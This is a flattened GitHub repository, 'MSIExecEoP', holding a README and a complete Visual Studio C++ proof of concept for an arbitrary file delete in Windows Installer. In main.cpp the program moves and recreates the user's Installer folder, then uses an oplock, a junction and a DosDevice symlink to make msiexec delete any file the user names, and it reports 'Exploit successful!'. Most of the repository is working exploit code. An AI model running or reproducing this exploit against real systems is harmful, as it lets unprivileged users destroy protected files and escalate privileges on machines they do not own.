├── Project5 ├── Project5.exe ├── Project5 │ ├── Resource.aps │ ├── SetupProject1.msi │ ├── Project5.vcxproj.user │ ├── resource.h │ ├── FileOpLock.h │ ├── Resource.rc │ ├── Project5.vcxproj.filters │ ├── def.h │ ├── FileOpLock.cpp │ ├── Project5.vcxproj │ └── main.cpp └── Project5.sln └── README.md /Project5/Project5.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Wh04m1001/MSIExecEoP/HEAD/Project5/Project5.exe -------------------------------------------------------------------------------- /Project5/Project5/Resource.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Wh04m1001/MSIExecEoP/HEAD/Project5/Project5/Resource.aps -------------------------------------------------------------------------------- /Project5/Project5/SetupProject1.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Wh04m1001/MSIExecEoP/HEAD/Project5/Project5/SetupProject1.msi -------------------------------------------------------------------------------- /Project5/Project5/Project5.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Project5/Project5/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Resource.rc 4 | 5 | #define IDR_MSI2 102 6 | 7 | // Next default values for new objects 8 | // 9 | #ifdef APSTUDIO_INVOKED 10 | #ifndef APSTUDIO_READONLY_SYMBOLS 11 | #define _APS_NEXT_RESOURCE_VALUE 103 12 | #define _APS_NEXT_COMMAND_VALUE 40001 13 | #define _APS_NEXT_CONTROL_VALUE 1001 14 | #define _APS_NEXT_SYMED_VALUE 101 15 | #endif 16 | #endif 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MSIExecEoP 2 | Arbitrary File Delete in Windows Installer before 10.0.19045.2193 3 | 4 | This bug was not reported to MSFT as i found it 3 days before patch Tuesday :( 5 | 6 | 7 | Msiexec perform file operation in user controlled directory without impersonation which leads to arbitrary file delete. 8 | 9 | Msiexec relies on restrictive DACL inside C:\users\\%username%\appdata\roaming\microsoft\installer directory which are set only to allow everyone group read access, but as user have DELETE privileges on parent directory installer directory can be moved and recreated with permissive DACL. 10 | 11 | ![image](https://user-images.githubusercontent.com/44291883/200148480-0e06d147-25cd-47ab-884d-6d928e5e2f8d.png) 12 | -------------------------------------------------------------------------------- /Project5/Project5/FileOpLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class FileOpLock 7 | { 8 | public: 9 | typedef void(*UserCallback)(); 10 | static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb); 11 | static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb); 12 | void WaitForLock(UINT Timeout); 13 | 14 | ~FileOpLock(); 15 | private: 16 | 17 | HANDLE g_hFile; 18 | OVERLAPPED g_o; 19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; 20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; 21 | HANDLE g_hLockCompleted; 22 | PTP_WAIT g_wait; 23 | UserCallback _cb; 24 | 25 | FileOpLock(UserCallback cb); 26 | 27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, 28 | PVOID Parameter, PTP_WAIT Wait, 29 | TP_WAIT_RESULT WaitResult); 30 | static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, 31 | PVOID Parameter, PTP_WAIT Wait, 32 | TP_WAIT_RESULT WaitResult); 33 | void DoWaitCallback(); 34 | void DoWaitCallbackt(); 35 | bool BeginLock(HANDLE hfile); 36 | bool BeginLock(const std::wstring& name); 37 | 38 | }; 39 | 40 | 41 | -------------------------------------------------------------------------------- /Project5/Project5.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.3.32922.545 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Project5", "Project5\Project5.vcxproj", "{ED24053D-6891-44B7-A9EC-226EF3B9ADDD}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x64.ActiveCfg = Debug|x64 17 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x64.Build.0 = Debug|x64 18 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x86.ActiveCfg = Debug|Win32 19 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x86.Build.0 = Debug|Win32 20 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x64.ActiveCfg = Release|x64 21 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x64.Build.0 = Release|x64 22 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x86.ActiveCfg = Release|Win32 23 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1D2F620D-805E-4B3D-A5DD-503A80FC0C8A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Project5/Project5/Resource.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "winres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // English (United States) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) 19 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US 20 | #pragma code_page(1252) 21 | 22 | #ifdef APSTUDIO_INVOKED 23 | ///////////////////////////////////////////////////////////////////////////// 24 | // 25 | // TEXTINCLUDE 26 | // 27 | 28 | 1 TEXTINCLUDE 29 | BEGIN 30 | "resource.h\0" 31 | END 32 | 33 | 2 TEXTINCLUDE 34 | BEGIN 35 | "#include ""winres.h""\r\n" 36 | "\0" 37 | END 38 | 39 | 3 TEXTINCLUDE 40 | BEGIN 41 | "\r\n" 42 | "\0" 43 | END 44 | 45 | #endif // APSTUDIO_INVOKED 46 | 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | // 50 | // MSI 51 | // 52 | 53 | IDR_MSI2 MSI "SetupProject1.msi" 54 | 55 | #endif // English (United States) resources 56 | ///////////////////////////////////////////////////////////////////////////// 57 | 58 | 59 | 60 | #ifndef APSTUDIO_INVOKED 61 | ///////////////////////////////////////////////////////////////////////////// 62 | // 63 | // Generated from the TEXTINCLUDE 3 resource. 64 | // 65 | 66 | 67 | ///////////////////////////////////////////////////////////////////////////// 68 | #endif // not APSTUDIO_INVOKED 69 | 70 | -------------------------------------------------------------------------------- /Project5/Project5/Project5.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | 28 | Resource Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | 43 | 44 | Resource Files 45 | 46 | 47 | -------------------------------------------------------------------------------- /Project5/Project5/def.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "resource.h" 7 | #pragma comment(lib,"Msi.lib") 8 | #pragma comment(lib,"RpcRT4.lib") 9 | #pragma warning(disable:4996) 10 | DWORD WINAPI install(BOOL remove); 11 | LPCWSTR RandomTmp(); 12 | BOOL Move(HANDLE hFile); 13 | void cb0(); 14 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target); 15 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target); 16 | BOOL DeleteJunction(HANDLE dir); 17 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target); 18 | LPWSTR BuildPath(LPCWSTR path); 19 | HANDLE hFile, hDir; 20 | 21 | typedef struct _REPARSE_DATA_BUFFER { 22 | ULONG ReparseTag; 23 | USHORT ReparseDataLength; 24 | USHORT Reserved; 25 | union { 26 | struct { 27 | USHORT SubstituteNameOffset; 28 | USHORT SubstituteNameLength; 29 | USHORT PrintNameOffset; 30 | USHORT PrintNameLength; 31 | ULONG Flags; 32 | WCHAR PathBuffer[1]; 33 | } SymbolicLinkReparseBuffer; 34 | struct { 35 | USHORT SubstituteNameOffset; 36 | USHORT SubstituteNameLength; 37 | USHORT PrintNameOffset; 38 | USHORT PrintNameLength; 39 | WCHAR PathBuffer[1]; 40 | } MountPointReparseBuffer; 41 | struct { 42 | UCHAR DataBuffer[1]; 43 | } GenericReparseBuffer; 44 | } DUMMYUNIONNAME; 45 | } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; 46 | typedef struct _OBJECT_DIRECTORY_INFORMATION { 47 | UNICODE_STRING Name; 48 | UNICODE_STRING TypeName; 49 | } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; 50 | #define STATUS_MORE_ENTRIES 0x00000105 51 | #define STATUS_NO_MORE_ENTRIES 0x8000001A 52 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) 53 | 54 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); 55 | typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 56 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 57 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength); 58 | typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)( 59 | HANDLE FileHandle, 60 | PIO_STATUS_BLOCK IoStatusBlock, 61 | PVOID FileInformation, 62 | ULONG Length, 63 | ULONG FileInformationClass 64 | ); 65 | 66 | _RtlInitUnicodeString pRtlInitUnicodeString; 67 | _NtCreateFile pNtCreateFile; 68 | _NtSetInformationFile pNtSetInformationFile; 69 | _NtQueryDirectoryObject pNtQueryDirectoryObject; 70 | _NtOpenDirectoryObject pNtOpenDirectoryObect; -------------------------------------------------------------------------------- /Project5/Project5/FileOpLock.cpp: -------------------------------------------------------------------------------- 1 | #include "FileOpLock.h" 2 | #include 3 | 4 | 5 | 6 | FileOpLock::FileOpLock(UserCallback cb) : 7 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) 8 | { 9 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 10 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer); 11 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; 12 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; 13 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 14 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer); 15 | } 16 | 17 | 18 | FileOpLock::~FileOpLock() 19 | { 20 | if (g_wait) 21 | { 22 | SetThreadpoolWait(g_wait, nullptr, nullptr); 23 | CloseThreadpoolWait(g_wait); 24 | g_wait = nullptr; 25 | } 26 | 27 | if (g_o.hEvent) 28 | { 29 | CloseHandle(g_o.hEvent); 30 | g_o.hEvent = nullptr; 31 | } 32 | 33 | if (g_hFile != INVALID_HANDLE_VALUE) 34 | { 35 | CloseHandle(g_hFile); 36 | g_hFile = INVALID_HANDLE_VALUE; 37 | } 38 | } 39 | bool FileOpLock::BeginLock(const std::wstring& filename) 40 | { 41 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 42 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 43 | 44 | 45 | 46 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 47 | 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); 48 | if (g_hFile == INVALID_HANDLE_VALUE) { 49 | 50 | return false; 51 | } 52 | 53 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 54 | if (g_wait == nullptr) 55 | { 56 | 57 | return false; 58 | } 59 | 60 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 61 | 62 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 63 | &g_inputBuffer, sizeof(g_inputBuffer), 64 | &g_outputBuffer, sizeof(g_outputBuffer), 65 | nullptr, &g_o); 66 | if (GetLastError() != ERROR_IO_PENDING) { 67 | 68 | return false; 69 | } 70 | 71 | return true; 72 | } 73 | bool FileOpLock::BeginLock(HANDLE hfile) 74 | { 75 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 76 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 77 | 78 | 79 | 80 | g_hFile = hfile; 81 | if (g_hFile == INVALID_HANDLE_VALUE) { 82 | 83 | return false; 84 | } 85 | 86 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 87 | if (g_wait == nullptr) 88 | { 89 | 90 | return false; 91 | } 92 | 93 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 94 | DWORD bytesReturned; 95 | 96 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 97 | &g_inputBuffer, sizeof(g_inputBuffer), 98 | &g_outputBuffer, sizeof(g_outputBuffer), 99 | nullptr, &g_o); 100 | /*DeviceIoControl(g_hFile, 101 | FSCTL_REQUEST_OPLOCK_LEVEL_1, 102 | NULL, 0, 103 | NULL, 0, 104 | &bytesReturned, 105 | &g_o);*/ 106 | if (GetLastError() != ERROR_IO_PENDING) { 107 | 108 | return false; 109 | } 110 | 111 | return true; 112 | } 113 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb) 114 | { 115 | FileOpLock* ret = new FileOpLock(cb); 116 | 117 | if (ret->BeginLock(name)) 118 | { 119 | return ret; 120 | } 121 | else 122 | { 123 | delete ret; 124 | return nullptr; 125 | } 126 | } 127 | FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb) 128 | { 129 | FileOpLock* ret = new FileOpLock(cb); 130 | 131 | if (ret->BeginLock(hfile)) 132 | { 133 | return ret; 134 | } 135 | else 136 | { 137 | delete ret; 138 | return nullptr; 139 | } 140 | } 141 | void FileOpLock::WaitForLock(UINT Timeout) 142 | { 143 | WaitForSingleObject(g_hLockCompleted, Timeout); 144 | } 145 | 146 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, 147 | PVOID Parameter, PTP_WAIT Wait, 148 | TP_WAIT_RESULT WaitResult) 149 | { 150 | UNREFERENCED_PARAMETER(Instance); 151 | UNREFERENCED_PARAMETER(Wait); 152 | UNREFERENCED_PARAMETER(WaitResult); 153 | 154 | FileOpLock* lock = reinterpret_cast(Parameter); 155 | 156 | lock->DoWaitCallback(); 157 | } 158 | void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, 159 | PVOID Parameter, PTP_WAIT Wait, 160 | TP_WAIT_RESULT WaitResult) 161 | { 162 | UNREFERENCED_PARAMETER(Instance); 163 | UNREFERENCED_PARAMETER(Wait); 164 | UNREFERENCED_PARAMETER(WaitResult); 165 | 166 | FileOpLock* lock = reinterpret_cast(Parameter); 167 | 168 | lock->DoWaitCallbackt(); 169 | } 170 | void FileOpLock::DoWaitCallbackt() 171 | { 172 | DWORD dwBytes; 173 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 174 | 175 | } 176 | 177 | if (_cb) 178 | { 179 | _cb(); 180 | } 181 | g_hFile = INVALID_HANDLE_VALUE; 182 | SetEvent(g_hLockCompleted); 183 | } 184 | void FileOpLock::DoWaitCallback() 185 | { 186 | DWORD dwBytes; 187 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 188 | 189 | } 190 | 191 | if (_cb) 192 | { 193 | _cb(); 194 | } 195 | 196 | 197 | CloseHandle(g_hFile); 198 | g_hFile = INVALID_HANDLE_VALUE; 199 | SetEvent(g_hLockCompleted); 200 | } 201 | -------------------------------------------------------------------------------- /Project5/Project5/Project5.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {ed24053d-6891-44b7-a9ec-226ef3b9addd} 25 | Project5 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | -------------------------------------------------------------------------------- /Project5/Project5/main.cpp: -------------------------------------------------------------------------------- 1 | #include "def.h" 2 | #include "FileOpLock.h" 3 | int wmain(int argc, wchar_t** argv) { 4 | 5 | if (argc < 2) { 6 | printf("[*] Usage: %ls \n", argv[0]); 7 | return 1; 8 | } 9 | install(TRUE); 10 | Sleep(500); 11 | std::wstring dir = L"C:\\users\\"; 12 | WCHAR user[MAX_PATH] = {0x0}; 13 | DWORD cbUser = MAX_PATH; 14 | GetUserName(user, &cbUser); 15 | dir = dir + std::wstring(user) + L"\\AppData\\Roaming\\Microsoft\\Installer"; 16 | MoveFileEx(dir.c_str(),RandomTmp(), MOVEFILE_REPLACE_EXISTING); 17 | CreateDirectory(dir.c_str(), NULL); 18 | dir = dir + L"\\{31566FE1-6713-4FC2-A132-EB4C9D111012}"; 19 | CreateDirectory(dir.c_str(), NULL); 20 | std::wstring file = dir + L"\\icon.ico"; 21 | DosDeviceSymLink(L"Global\\GLOBALROOT\\RPC Control\\icon.ico", BuildPath(argv[1])); 22 | 23 | hDir = CreateFile(dir.c_str(), FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); 24 | hFile = CreateFile(file.c_str(), DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); 25 | FileOpLock* op; 26 | op = FileOpLock::CreateLock(hFile, cb0); 27 | if (op != NULL) { 28 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)install, NULL, 0, NULL); 29 | op->WaitForLock(INFINITE); 30 | } 31 | HANDLE success; 32 | 33 | do { 34 | Sleep(1000); 35 | success = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); 36 | }while (success != INVALID_HANDLE_VALUE); 37 | printf("[+] Exploit successful!\n"); 38 | } 39 | DWORD WINAPI install(BOOL install) { 40 | HMODULE hm = GetModuleHandle(NULL); 41 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI2), L"msi"); 42 | wchar_t msipackage[MAX_PATH] = { 0x0 }; 43 | GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); 44 | printf("[*] MSI file: %ls\n", msipackage); 45 | DWORD MsiSize = SizeofResource(hm, res); 46 | void* MsiBuff = LoadResource(hm, res); 47 | HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 48 | WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); 49 | CloseHandle(pkg); 50 | MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); 51 | if (install) { 52 | MsiInstallProduct(msipackage, L"ACTION=INSTALL"); 53 | } 54 | else { 55 | MsiInstallProduct(msipackage, L"REMOVE=ALL"); 56 | } 57 | 58 | DeleteFile(msipackage); 59 | return 0; 60 | } 61 | LPCWSTR RandomTmp() { 62 | std::wstring tmp = L"\\??\\C:\\windows\\temp\\"; 63 | RPC_WSTR str_uuid; 64 | UUID uuid = { 0 }; 65 | UuidCreate(&uuid); 66 | UuidToString(&uuid, &str_uuid); 67 | tmp = tmp + std::wstring((WCHAR*)str_uuid); 68 | return tmp.c_str(); 69 | } 70 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target) { 71 | DWORD cb; 72 | wchar_t printname[] = L""; 73 | if (hDir == INVALID_HANDLE_VALUE) { 74 | printf("[!] HANDLE invalid!\n"); 75 | return FALSE; 76 | } 77 | SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); 78 | SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); 79 | SIZE_T PathLen = TargetLen + PrintnameLen + 12; 80 | SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); 81 | PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); 82 | Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 83 | Data->ReparseDataLength = PathLen; 84 | Data->Reserved = 0; 85 | Data->MountPointReparseBuffer.SubstituteNameOffset = 0; 86 | Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; 87 | memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); 88 | Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); 89 | Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; 90 | memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); 91 | WCHAR dir[MAX_PATH] = { 0x0 }; 92 | if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) 93 | { 94 | 95 | GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0); 96 | printf("[+] Junction %ls -> %ls created!\n", dir, target); 97 | free(Data); 98 | return TRUE; 99 | 100 | } 101 | else 102 | { 103 | 104 | printf("[!] Error: %d. Exiting\n", GetLastError()); 105 | free(Data); 106 | return FALSE; 107 | } 108 | } 109 | 110 | 111 | 112 | 113 | 114 | BOOL DeleteJunction(HANDLE handle) { 115 | REPARSE_GUID_DATA_BUFFER buffer = { 0 }; 116 | BOOL ret; 117 | buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 118 | DWORD cb = 0; 119 | IO_STATUS_BLOCK io; 120 | if (handle == INVALID_HANDLE_VALUE) { 121 | printf("[!] HANDLE invalid!\n"); 122 | return FALSE; 123 | } 124 | WCHAR dir[MAX_PATH] = { 0x0 }; 125 | if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) { 126 | GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0); 127 | printf("[+] Junction %ls deleted!\n", dir); 128 | return TRUE; 129 | } 130 | else 131 | { 132 | printf("[!] Error: %d.\n", GetLastError()); 133 | return FALSE; 134 | } 135 | } 136 | 137 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { 138 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { 139 | printf("[+] Symlink %ls -> %ls created!\n", object, target); 140 | return TRUE; 141 | 142 | } 143 | else 144 | { 145 | printf("[!] Error :%d\n", GetLastError()); 146 | return FALSE; 147 | 148 | } 149 | } 150 | 151 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { 152 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { 153 | printf("[+] Symlink %ls -> %ls deleted!\n", object, target); 154 | return TRUE; 155 | 156 | } 157 | else 158 | { 159 | printf("[!] Error :%d\n", GetLastError()); 160 | return FALSE; 161 | 162 | 163 | } 164 | } 165 | BOOL Move(HANDLE hFile) { 166 | if (hFile == INVALID_HANDLE_VALUE) { 167 | printf("[!] Invalid handle!\n"); 168 | return FALSE; 169 | } 170 | HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); 171 | if (ntdll != NULL) { 172 | 173 | pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); 174 | } 175 | if (pNtSetInformationFile == NULL) { 176 | printf("Cannot load api %d\n", GetLastError()); 177 | exit(0); 178 | } 179 | LPCWSTR tmpfile = RandomTmp(); 180 | size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); 181 | FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); 182 | IO_STATUS_BLOCK io = { 0 }; 183 | rename_info->ReplaceIfExists = TRUE; 184 | rename_info->RootDirectory = NULL; 185 | rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; 186 | rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); 187 | memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); 188 | NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); 189 | if (status != 0) { 190 | return FALSE; 191 | } 192 | return TRUE; 193 | } 194 | void cb0() { 195 | printf("[*] Oplock trigger!\n"); 196 | while (!Move(hFile)) {} 197 | CreateJunction(hDir, L"\\RPC Control"); 198 | } 199 | LPWSTR BuildPath(LPCWSTR path) { 200 | wchar_t ntpath[MAX_PATH]; 201 | swprintf(ntpath, L"\\??\\%s", path); 202 | return ntpath; 203 | } 204 | --------------------------------------------------------------------------------